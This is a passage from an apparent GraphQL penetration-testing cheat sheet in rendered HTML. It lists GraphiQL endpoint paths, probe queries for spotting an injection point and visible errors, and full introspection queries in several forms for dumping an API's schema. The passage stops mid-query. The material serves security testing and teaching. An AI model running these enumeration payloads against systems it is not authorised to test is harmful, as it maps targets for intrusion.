<a id="__codelineno-0-7" name="__codelineno-0-7" href="#__codelineno-0-7"></a><span class="p">/</span><span class="n">graphiql</span>
<a id="__codelineno-0-8" name="__codelineno-0-8" href="#__codelineno-0-8"></a><span class="p">/</span><span class="n">graphiql</span><span class="p">.</span><span class="n">php</span>
</code></pre></div>
<h3 id="identify-an-injection-point">Identify An Injection Point</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="nx">example</span><span class="p">.</span><span class="nx">com</span><span class="o">/</span><span class="nx">graphql</span><span class="o">?</span><span class="nx">query</span><span class="o">=</span><span class="p">{</span><span class="nx">__schema</span><span class="p">{</span><span class="nx">types</span><span class="p">{</span><span class="nx">name</span><span class="p">}}}</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="nx">example</span><span class="p">.</span><span class="nx">com</span><span class="o">/</span><span class="nx">graphiql</span><span class="o">?</span><span class="nx">query</span><span class="o">=</span><span class="p">{</span><span class="nx">__schema</span><span class="p">{</span><span class="nx">types</span><span class="p">{</span><span class="nx">name</span><span class="p">}}}</span>
</code></pre></div>
<p>Check if errors are visible.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="o">?</span><span class="nx">query</span><span class="o">=</span><span class="p">{</span><span class="nx">__schema</span><span class="p">}</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="o">?</span><span class="nx">query</span><span class="o">=</span><span class="p">{}</span>
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="o">?</span><span class="nx">query</span><span class="o">=</span><span class="p">{</span><span class="nx">thisdefinitelydoesnotexist</span><span class="p">}</span>
</code></pre></div>
<h3 id="enumerate-database-schema-via-introspection">Enumerate Database Schema via Introspection</h3>
<p>URL encoded query to dump the database schema.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="nx">fragment</span><span class="o">+</span><span class="nx">FullType</span><span class="o">+</span><span class="nx">on</span><span class="o">+</span><span class="nx">__Type</span><span class="o">+</span><span class="p">{</span><span class="o">++</span><span class="nx">kind</span><span class="o">++</span><span class="nx">name</span><span class="o">++</span><span class="nx">description</span><span class="o">++</span><span class="nx">fields</span><span class="p">(</span><span class="nx">includeDeprecated</span><span class="o">%</span><span class="mf">3</span><span class="nx">a</span><span class="o">+</span><span class="kc">true</span><span class="p">)</span><span class="o">+</span><span class="p">{</span><span class="o">++++</span><span class="nx">name</span><span class="o">++++</span><span class="nx">description</span><span class="o">++++</span><span class="nx">args</span><span class="o">+</span><span class="p">{</span><span class="o">++++++</span><span class="p">...</span><span class="nx">InputValue</span><span class="o">++++</span><span class="p">}</span><span class="o">++++</span><span class="nx">type</span><span class="o">+</span><span class="p">{</span><span class="o">++++++</span><span class="p">...</span><span class="nx">TypeRef</span><span class="o">++++</span><span class="p">}</span><span class="o">++++</span><span class="nx">isDeprecated</span><span class="o">++++</span><span class="nx">deprecationReason</span><span class="o">++</span><span class="p">}</span><span class="o">++</span><span class="nx">inputFields</span><span class="o">+</span><span class="p">{</span><span class="o">++++</span><span class="p">...</span><span class="nx">InputValue</span><span class="o">++</span><span class="p">}</span><span class="o">++</span><span class="nx">interfaces</span><span class="o">+</span><span class="p">{</span><span class="o">++++</span><span class="p">...</span><span class="nx">TypeRef</span><span class="o">++</span><span class="p">}</span><span class="o">++</span><span class="nx">enumValues</span><span class="p">(</span><span class="nx">includeDeprecated</span><span class="o">%</span><span class="mf">3</span><span class="nx">a</span><span class="o">+</span><span class="kc">true</span><span class="p">)</span><span class="o">+</span><span class="p">{</span><span class="o">++++</span><span class="nx">name</span><span class="o">++++</span><span class="nx">description</span><span class="o">++++</span><span class="nx">isDeprecated</span><span class="o">++++</span><span class="nx">deprecationReason</span><span class="o">++</span><span class="p">}</span><span class="o">++</span><span class="nx">possibleTypes</span><span class="o">+</span><span class="p">{</span><span class="o">++++</span><span class="p">...</span><span class="nx">TypeRef</span><span class="o">++</span><span class="p">}}</span><span class="nx">fragment</span><span class="o">+</span><span class="nx">InputValue</span><span class="o">+</span><span class="nx">on</span><span class="o">+</span><span class="nx">__InputValue</span><span class="o">+</span><span class="p">{</span><span class="o">++</span><span class="nx">name</span><span class="o">++</span><span class="nx">description</span><span class="o">++</span><span class="nx">type</span><span class="o">+</span><span class="p">{</span><span class="o">++++</span><span class="p">...</span><span class="nx">TypeRef</span><span class="o">++</span><span class="p">}</span><span class="o">++</span><span class="nx">defaultValue</span><span class="p">}</span><span class="nx">fragment</span><span class="o">+</span><span class="nx">TypeRef</span><span class="o">+</span><span class="nx">on</span><span class="o">+</span><span class="nx">__Type</span><span class="o">+</span><span class="p">{</span><span class="o">++</span><span class="nx">kind</span><span class="o">++</span><span class="nx">name</span><span class="o">++</span><span class="nx">ofType</span><span class="o">+</span><span class="p">{</span><span class="o">++++</span><span class="nx">kind</span><span class="o">++++</span><span class="nx">name</span><span class="o">++++</span><span class="nx">ofType</span><span class="o">+</span><span class="p">{</span><span class="o">++++++</span><span class="nx">kind</span><span class="o">++++++</span><span class="nx">name</span><span class="o">++++++</span><span class="nx">ofType</span><span class="o">+</span><span class="p">{</span><span class="o">++++++++</span><span class="nx">kind</span><span class="o">++++++++</span><span class="nx">name</span><span class="o">++++++++</span><span class="nx">ofType</span><span class="o">+</span><span class="p">{</span><span class="o">++++++++++</span><span class="nx">kind</span><span class="o">++++++++++</span><span class="nx">name</span><span class="o">++++++++++</span><span class="nx">ofType</span><span class="o">+</span><span class="p">{</span><span class="o">++++++++++++</span><span class="nx">kind</span><span class="o">++++++++++++</span><span class="nx">name</span><span class="o">++++++++++++</span><span class="nx">ofType</span><span class="o">+</span><span class="p">{</span><span class="o">++++++++++++++</span><span class="nx">kind</span><span class="o">++++++++++++++</span><span class="nx">name</span><span class="o">++++++++++++++</span><span class="nx">ofType</span><span class="o">+</span><span class="p">{</span><span class="o">++++++++++++++++</span><span class="nx">kind</span><span class="o">++++++++++++++++</span><span class="nx">name</span><span class="o">++++++++++++++</span><span class="p">}</span><span class="o">++++++++++++</span><span class="p">}</span><span class="o">++++++++++</span><span class="p">}</span><span class="o">++++++++</span><span class="p">}</span><span class="o">++++++</span><span class="p">}</span><span class="o">++++</span><span class="p">}</span><span class="o">++</span><span class="p">}}</span><span class="nx">query</span><span class="o">+</span><span class="nx">IntrospectionQuery</span><span class="o">+</span><span class="p">{</span><span class="o">++</span><span class="nx">__schema</span><span class="o">+</span><span class="p">{</span><span class="o">++++</span><span class="nx">queryType</span><span class="o">+</span><span class="p">{</span><span class="o">++++++</span><span class="nx">name</span><span class="o">++++</span><span class="p">}</span><span class="o">++++</span><span class="nx">mutationType</span><span class="o">+</span><span class="p">{</span><span class="o">++++++</span><span class="nx">name</span><span class="o">++++</span><span class="p">}</span><span class="o">++++</span><span class="nx">types</span><span class="o">+</span><span class="p">{</span><span class="o">++++++</span><span class="p">...</span><span class="nx">FullType</span><span class="o">++++</span><span class="p">}</span><span class="o">++++</span><span class="nx">directives</span><span class="o">+</span><span class="p">{</span><span class="o">++++++</span><span class="nx">name</span><span class="o">++++++</span><span class="nx">description</span><span class="o">++++++</span><span class="nx">locations</span><span class="o">++++++</span><span class="nx">args</span><span class="o">+</span><span class="p">{</span><span class="o">++++++++</span><span class="p">...</span><span class="nx">InputValue</span><span class="o">++++++</span><span class="p">}</span><span class="o">++++</span><span class="p">}</span><span class="o">++</span><span class="p">}}</span>
</code></pre></div>
<p>URL decoded query to dump the database schema.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="nx">fragment</span><span class="w"> </span><span class="nx">FullType</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="nx">__Type</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="w"> </span><span class="nx">kind</span>
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-4" name="__codelineno-4-4" href="#__codelineno-4-4"></a><span class="w"> </span><span class="nx">description</span>
<a id="__codelineno-4-5" name="__codelineno-4-5" href="#__codelineno-4-5"></a><span class="w"> </span><span class="nx">fields</span><span class="p">(</span><span class="nx">includeDeprecated</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-6" name="__codelineno-4-6" href="#__codelineno-4-6"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-7" name="__codelineno-4-7" href="#__codelineno-4-7"></a><span class="w"> </span><span class="nx">description</span>
<a id="__codelineno-4-8" name="__codelineno-4-8" href="#__codelineno-4-8"></a><span class="w"> </span><span class="nx">args</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-9" name="__codelineno-4-9" href="#__codelineno-4-9"></a><span class="w"> </span><span class="p">...</span><span class="nx">InputValue</span>
<a id="__codelineno-4-10" name="__codelineno-4-10" href="#__codelineno-4-10"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-11" name="__codelineno-4-11" href="#__codelineno-4-11"></a><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-12" name="__codelineno-4-12" href="#__codelineno-4-12"></a><span class="w"> </span><span class="p">...</span><span class="nx">TypeRef</span>
<a id="__codelineno-4-13" name="__codelineno-4-13" href="#__codelineno-4-13"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-14" name="__codelineno-4-14" href="#__codelineno-4-14"></a><span class="w"> </span><span class="nx">isDeprecated</span>
<a id="__codelineno-4-15" name="__codelineno-4-15" href="#__codelineno-4-15"></a><span class="w"> </span><span class="nx">deprecationReason</span>
<a id="__codelineno-4-16" name="__codelineno-4-16" href="#__codelineno-4-16"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-17" name="__codelineno-4-17" href="#__codelineno-4-17"></a><span class="w"> </span><span class="nx">inputFields</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-18" name="__codelineno-4-18" href="#__codelineno-4-18"></a><span class="w"> </span><span class="p">...</span><span class="nx">InputValue</span>
<a id="__codelineno-4-19" name="__codelineno-4-19" href="#__codelineno-4-19"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-20" name="__codelineno-4-20" href="#__codelineno-4-20"></a><span class="w"> </span><span class="nx">interfaces</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-21" name="__codelineno-4-21" href="#__codelineno-4-21"></a><span class="w"> </span><span class="p">...</span><span class="nx">TypeRef</span>
<a id="__codelineno-4-22" name="__codelineno-4-22" href="#__codelineno-4-22"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-23" name="__codelineno-4-23" href="#__codelineno-4-23"></a><span class="w"> </span><span class="nx">enumValues</span><span class="p">(</span><span class="nx">includeDeprecated</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-24" name="__codelineno-4-24" href="#__codelineno-4-24"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-25" name="__codelineno-4-25" href="#__codelineno-4-25"></a><span class="w"> </span><span class="nx">description</span>
<a id="__codelineno-4-26" name="__codelineno-4-26" href="#__codelineno-4-26"></a><span class="w"> </span><span class="nx">isDeprecated</span>
<a id="__codelineno-4-27" name="__codelineno-4-27" href="#__codelineno-4-27"></a><span class="w"> </span><span class="nx">deprecationReason</span>
<a id="__codelineno-4-28" name="__codelineno-4-28" href="#__codelineno-4-28"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-29" name="__codelineno-4-29" href="#__codelineno-4-29"></a><span class="w"> </span><span class="nx">possibleTypes</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-30" name="__codelineno-4-30" href="#__codelineno-4-30"></a><span class="w"> </span><span class="p">...</span><span class="nx">TypeRef</span>
<a id="__codelineno-4-31" name="__codelineno-4-31" href="#__codelineno-4-31"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-32" name="__codelineno-4-32" href="#__codelineno-4-32"></a><span class="p">}</span>
<a id="__codelineno-4-33" name="__codelineno-4-33" href="#__codelineno-4-33"></a><span class="nx">fragment</span><span class="w"> </span><span class="nx">InputValue</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="nx">__InputValue</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-34" name="__codelineno-4-34" href="#__codelineno-4-34"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-35" name="__codelineno-4-35" href="#__codelineno-4-35"></a><span class="w"> </span><span class="nx">description</span>
<a id="__codelineno-4-36" name="__codelineno-4-36" href="#__codelineno-4-36"></a><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-37" name="__codelineno-4-37" href="#__codelineno-4-37"></a><span class="w"> </span><span class="p">...</span><span class="nx">TypeRef</span>
<a id="__codelineno-4-38" name="__codelineno-4-38" href="#__codelineno-4-38"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-39" name="__codelineno-4-39" href="#__codelineno-4-39"></a><span class="w"> </span><span class="nx">defaultValue</span>
<a id="__codelineno-4-40" name="__codelineno-4-40" href="#__codelineno-4-40"></a><span class="p">}</span>
<a id="__codelineno-4-41" name="__codelineno-4-41" href="#__codelineno-4-41"></a><span class="nx">fragment</span><span class="w"> </span><span class="nx">TypeRef</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="nx">__Type</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-42" name="__codelineno-4-42" href="#__codelineno-4-42"></a><span class="w"> </span><span class="nx">kind</span>
<a id="__codelineno-4-43" name="__codelineno-4-43" href="#__codelineno-4-43"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-44" name="__codelineno-4-44" href="#__codelineno-4-44"></a><span class="w"> </span><span class="nx">ofType</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-45" name="__codelineno-4-45" href="#__codelineno-4-45"></a><span class="w"> </span><span class="nx">kind</span>
<a id="__codelineno-4-46" name="__codelineno-4-46" href="#__codelineno-4-46"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-47" name="__codelineno-4-47" href="#__codelineno-4-47"></a><span class="w"> </span><span class="nx">ofType</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-48" name="__codelineno-4-48" href="#__codelineno-4-48"></a><span class="w"> </span><span class="nx">kind</span>
<a id="__codelineno-4-49" name="__codelineno-4-49" href="#__codelineno-4-49"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-50" name="__codelineno-4-50" href="#__codelineno-4-50"></a><span class="w"> </span><span class="nx">ofType</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-51" name="__codelineno-4-51" href="#__codelineno-4-51"></a><span class="w"> </span><span class="nx">kind</span>
<a id="__codelineno-4-52" name="__codelineno-4-52" href="#__codelineno-4-52"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-53" name="__codelineno-4-53" href="#__codelineno-4-53"></a><span class="w"> </span><span class="nx">ofType</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-54" name="__codelineno-4-54" href="#__codelineno-4-54"></a><span class="w"> </span><span class="nx">kind</span>
<a id="__codelineno-4-55" name="__codelineno-4-55" href="#__codelineno-4-55"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-56" name="__codelineno-4-56" href="#__codelineno-4-56"></a><span class="w"> </span><span class="nx">ofType</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-57" name="__codelineno-4-57" href="#__codelineno-4-57"></a><span class="w"> </span><span class="nx">kind</span>
<a id="__codelineno-4-58" name="__codelineno-4-58" href="#__codelineno-4-58"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-59" name="__codelineno-4-59" href="#__codelineno-4-59"></a><span class="w"> </span><span class="nx">ofType</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-60" name="__codelineno-4-60" href="#__codelineno-4-60"></a><span class="w"> </span><span class="nx">kind</span>
<a id="__codelineno-4-61" name="__codelineno-4-61" href="#__codelineno-4-61"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-62" name="__codelineno-4-62" href="#__codelineno-4-62"></a><span class="w"> </span><span class="nx">ofType</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-63" name="__codelineno-4-63" href="#__codelineno-4-63"></a><span class="w"> </span><span class="nx">kind</span>
<a id="__codelineno-4-64" name="__codelineno-4-64" href="#__codelineno-4-64"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-65" name="__codelineno-4-65" href="#__codelineno-4-65"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-66" name="__codelineno-4-66" href="#__codelineno-4-66"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-67" name="__codelineno-4-67" href="#__codelineno-4-67"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-68" name="__codelineno-4-68" href="#__codelineno-4-68"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-69" name="__codelineno-4-69" href="#__codelineno-4-69"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-70" name="__codelineno-4-70" href="#__codelineno-4-70"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-71" name="__codelineno-4-71" href="#__codelineno-4-71"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-72" name="__codelineno-4-72" href="#__codelineno-4-72"></a><span class="p">}</span>
<a id="__codelineno-4-73" name="__codelineno-4-73" href="#__codelineno-4-73"></a>
<a id="__codelineno-4-74" name="__codelineno-4-74" href="#__codelineno-4-74"></a><span class="nx">query</span><span class="w"> </span><span class="nx">IntrospectionQuery</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-75" name="__codelineno-4-75" href="#__codelineno-4-75"></a><span class="w"> </span><span class="nx">__schema</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-76" name="__codelineno-4-76" href="#__codelineno-4-76"></a><span class="w"> </span><span class="nx">queryType</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-77" name="__codelineno-4-77" href="#__codelineno-4-77"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-78" name="__codelineno-4-78" href="#__codelineno-4-78"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-79" name="__codelineno-4-79" href="#__codelineno-4-79"></a><span class="w"> </span><span class="nx">mutationType</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-80" name="__codelineno-4-80" href="#__codelineno-4-80"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-81" name="__codelineno-4-81" href="#__codelineno-4-81"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-82" name="__codelineno-4-82" href="#__codelineno-4-82"></a><span class="w"> </span><span class="nx">types</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-83" name="__codelineno-4-83" href="#__codelineno-4-83"></a><span class="w"> </span><span class="p">...</span><span class="nx">FullType</span>
<a id="__codelineno-4-84" name="__codelineno-4-84" href="#__codelineno-4-84"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-85" name="__codelineno-4-85" href="#__codelineno-4-85"></a><span class="w"> </span><span class="nx">directives</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-86" name="__codelineno-4-86" href="#__codelineno-4-86"></a><span class="w"> </span><span class="nx">name</span>
<a id="__codelineno-4-87" name="__codelineno-4-87" href="#__codelineno-4-87"></a><span class="w"> </span><span class="nx">description</span>
<a id="__codelineno-4-88" name="__codelineno-4-88" href="#__codelineno-4-88"></a><span class="w"> </span><span class="nx">locations</span>
<a id="__codelineno-4-89" name="__codelineno-4-89" href="#__codelineno-4-89"></a><span class="w"> </span><span class="nx">args</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-4-90" name="__codelineno-4-90" href="#__codelineno-4-90"></a><span class="w"> </span><span class="p">...</span><span class="nx">InputValue</span>
<a id="__codelineno-4-91" name="__codelineno-4-91" href="#__codelineno-4-91"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-92" name="__codelineno-4-92" href="#__codelineno-4-92"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-93" name="__codelineno-4-93" href="#__codelineno-4-93"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-4-94" name="__codelineno-4-94" href="#__codelineno-4-94"></a><span class="p">}</span>
</code></pre></div>
<p>Single line queries to dump the database schema without fragments.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="nx">__schema</span><span class="p">{</span><span class="nx">queryType</span><span class="p">{</span><span class="nx">name</span><span class="p">},</span><span class="nx">mutationType</span><span class="p">{</span><span class="nx">name</span><span class="p">},</span><span class="nx">types</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">description</span><span class="p">,</span><span class="nx">fields</span><span class="p">(</span><span class="nx">includeDeprecated</span><span class="o">:</span><span class="kc">true</span><span class="p">){</span><span class="nx">name</span><span class="p">,</span><span class="nx">description</span><span class="p">,</span><span class="nx">args</span><span class="p">{</span><span class="nx">name</span><span class="p">,</span><span class="nx">description</span><span class="p">,</span><span class="nx">type</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">}}}}}}}},</span><span class="nx">defaultValue</span><span class="p">},</span><span class="nx">type</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">}}}}}}}},</span><span class="nx">isDeprecated</span><span class="p">,</span><span class="nx">deprecationReason</span><span class="p">},</span><span class="nx">inputFields</span><span class="p">{</span><span class="nx">name</span><span class="p">,</span><span class="nx">description</span><span class="p">,</span><span class="nx">type</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">}}}}}}}},</span><span class="nx">defaultValue</span><span class="p">},</span><span class="nx">interfaces</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">}}}}}}}},</span><span class="nx">enumValues</span><span class="p">(</span><span class="nx">includeDeprecated</span><span class="o">:</span><span class="kc">true</span><span class="p">){</span><span class="nx">name</span><span class="p">,</span><span class="nx">description</span><span class="p">,</span><span class="nx">isDeprecated</span><span class="p">,</span><span class="nx">deprecationReason</span><span class="p">,},</span><span class="nx">possibleTypes</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">}}}}}}}}},</span><span class="nx">directives</span><span class="p">{</span><span class="nx">name</span><span class="p">,</span><span class="nx">description</span><span class="p">,</span><span class="nx">locations</span><span class="p">,</span><span class="nx">args</span><span class="p">{</span><span class="nx">name</span><span class="p">,</span><span class="nx">description</span><span class="p">,</span><span class="nx">type</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">,</span><span class="nx">ofType</span><span class="p">{</span><span class="nx">kind</span><span class="p">,</span><span class="nx">name</span><span class="p">}}}}}}}},</span><span class="nx">defaultValue</span><span class="p">}}}</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="p">{</span><span class="nx">__schema</span><span class="p">{</span><span class="nx">queryType</span><span class="p">{</span><span class="nx">name</span><span class="p">}</span><span class="nx">mutationType</span><span class="p">{</span><span class="nx">name</span><span class="p">}</span><span class="nx">subscriptionType</span><span class="p">{</span><span class="nx">name</span><span class="p">}</span><span class="nx">types</span><span class="p">{...</span><span class="nx">FullType</span><span class="p">}</span><span class="nx">directives</span><span class="p">{</span><span class="nx">name</span><span class="w"> </span><span class="nx">description</span><span class="w"> </span><span class="nx">locations</span><span class="w"> </span><span class="nx">args</span><span class="p">{...</span><span class="nx">InputValue</span><span class="p">}}}}</span><span class="nx">fragment</span><span class="w"> </span><span class="nx">FullType</span><span class="w"> </span><span class="nx">on</span><span class="w"> </span><span class="nx">__Type</span><span class="p">{</span><span class="nx">kind</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="nx">description</span><span class="w"> </span><span class="nx">fields</span><span class="p">(</span><span class="nx">includeDeprecated</span><span class="o">:</span><span class="kc">true</span><span class="p">){</span><span class="nx">name</span><span class="w"> 